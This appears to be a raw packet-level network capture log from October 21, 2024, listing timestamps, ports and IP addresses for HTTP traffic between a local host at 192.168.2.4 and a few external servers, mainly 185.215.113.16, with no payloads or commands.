Oct 21, 2024 10:47:13.247184992 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247191906 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247195959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247277975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247312069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247322083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247330904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247334957 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247334957 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247339964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247375965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247399092 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247411966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247445107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247452974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247476101 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247502089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247509956 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247513056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247536898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247553110 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247561932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247565985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247571945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247582912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247591019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247592926 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247602940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247612953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247621059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247643948 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247643948 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247762918 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.284924030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.284997940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.285007000 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.285012007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.285149097 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.285208941 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.319982052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.320013046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.320020914 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.320028067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.320039988 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.320050001 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.320060015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.320086002 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.320172071 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.361176968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.361247063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.361255884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.361264944 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.361311913 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.364289999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.364310980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.364320040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.364346981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.364366055 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.376645088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.376667976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.376679897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.376689911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.376701117 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.376705885 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.376775026 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.376934052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.376961946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.376971006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.377013922 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.377028942 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.377039909 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.377042055 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.377053022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.377063990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.377078056 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.377088070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.377114058 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.377135038 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.400873899 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.400886059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.400895119 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.400932074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.401571035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401614904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401622057 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.401668072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401678085 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.401685953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401696920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401709080 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401716948 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.401735067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401745081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401747942 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.401756048 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401767969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401774883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401779890 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.401837111 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.401905060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401915073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401926994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401945114 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401956081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401964903 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401976109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401985884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.401995897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402004957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402007103 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402026892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402033091 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402045965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402049065 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402064085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402075052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402075052 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402084112 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402090073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402107954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402108908 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402117968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402127981 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402137041 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402146101 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402156115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402164936 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402175903 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402188063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402184010 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402196884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402206898 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402206898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402220964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402229071 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402229071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402240038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402254105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402255058 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402277946 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402287960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402302027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402309895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402326107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402335882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402345896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402359009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402369976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402426958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402437925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402446032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402457952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402506113 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402523041 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.402571917 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402581930 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402590990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402636051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402668953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.402730942 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.442702055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.442711115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.443001986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.443011045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.443675041 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.474921942 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.475128889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.475137949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.475147963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.475158930 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.475168943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.476238012 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.516109943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.516161919 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.516434908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.516443968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.516452074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.516486883 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.516499996 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.519201994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.519221067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.519228935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.519387007 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.532119989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532129049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532138109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532147884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532156944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532166958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532175064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532183886 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532196999 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.532227039 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532238007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532242060 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.532248974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532275915 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.532291889 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.532298088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532308102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.532349110 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.544404030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.544413090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.544485092 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.544495106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.544503927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.544548988 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556065083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556075096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556083918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556093931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556112051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556121111 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556129932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556142092 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556178093 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556181908 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556188107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556195974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556205988 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556224108 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556229115 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556236029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556246042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556253910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556262970 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556288004 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556298018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556307077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556309938 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556328058 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556335926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556345940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556354046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556360006 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556391001 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556556940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556576967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556586027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556610107 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556624889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556653976 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556678057 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556704044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556715012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556724072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556751013 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556775093 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556787968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556838036 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556878090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556886911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556900978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556910992 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.556935072 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556962013 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.556971073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557027102 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557058096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557069063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557079077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557087898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557096958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557105064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557109118 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557121992 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557142019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557142973 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557153940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557158947 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557167053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557189941 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557203054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557209969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557219982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557230949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557238102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557245016 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557248116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557259083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557285070 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557301998 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557301998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557312012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557363033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557379961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557399988 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557410002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557427883 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557466984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557467937 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557476997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557487011 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557495117 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557504892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557514906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557555914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.557668924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557677984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.557718992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.597734928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.597748041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.597757101 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.597800016 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.629869938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.629880905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.629889965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.629894018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.629899025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.629951000 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.629982948 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:15.890939951 CEST	49850	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:15.891356945 CEST	49906	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:15.896720886 CEST	80	49850	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:15.896734953 CEST	80	49906	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:15.905575991 CEST	49850	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:15.905622959 CEST	49906	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:15.906517982 CEST	49906	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:15.911473989 CEST	80	49906	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:16.373049021 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:16.373075962 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:16.373162031 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:16.374254942 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:16.374264002 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:16.827373981 CEST	80	49906	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:16.827450037 CEST	49906	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:16.831160069 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:16.831453085 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:16.836247921 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:16.836324930 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:16.836429119 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:16.836438894 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:16.836543083 CEST	49855	80	192.168.2.4	185.215.113.16
